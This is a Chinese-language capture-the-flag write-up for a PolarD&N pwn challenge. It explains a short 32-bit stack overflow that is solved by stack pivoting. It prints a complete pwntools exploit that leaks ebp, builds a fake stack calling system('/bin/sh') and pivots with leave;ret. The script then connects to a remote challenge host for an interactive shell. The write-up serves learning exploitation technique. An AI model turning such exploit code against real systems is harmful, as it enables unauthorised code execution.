原题网址:PolarD&N
下载完文件直接拖入虚拟机,然后就是固定流程。
查看文件信息
可以知道这是个32位的文件,开了NX保护。
然后就IDA进行反编译
从main函数进入vuln函数,直接就是看输入函数,然后很快就发现了有栈溢出的漏洞。
但是这时发现另一个问题,只能溢出8个字节,只能覆盖到ebp和ret,没办法构造栈结构,这可怎么办呢?
然后就是去找了度娘,发现这种问题可以通过栈迁移来解决问题。
就是没有地方构造栈结构,我们就自己找地方去构造。
关于栈迁移详情,移步大佬博客:PWN从入门到放弃(12)——栈溢出之栈迁移 – 7i4n2h3n9's Blog
原理什么的都有了,解决方法也有了,咱们直接就是构造payload获得权限。
from pwn import *
#r = process("./ppp")
r = remote("123.60.135.228",2065)
elf = ELF("./ppp")
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'
payload = b'a' * 0x2f
payload += b'b'
r.send(payload)
r.recvuntil("b")
ebp_addr = u32(r.recv(4))
buf_addr = ebp_addr - 0x40
binsh_addr = buf_addr + 0x10
system_addr = 0x080483e0
leave_ret = 0x08048488
payload1 = b'aaaa'
payload1 += p32(system_addr)
payload1 += p32(1)
payload1 += p32(buf_addr + 0x10)
payload1 += b'/bin/sh'
payload2 = payload1.ljust(0x30, b'\x00')
payload2 += p32(buf_addr)
payload2 += p32(leave_ret)
r.send(payload2)
r.recv()
r.interactive()
注意:如果运行报错name 'remote' is not defined,说明文件名和库名不能重叠!然后把文件名都改掉就可以了。
我就是没改,然后一直报错,然后上网搜到的解决方法。
然后直接运行,大功告成!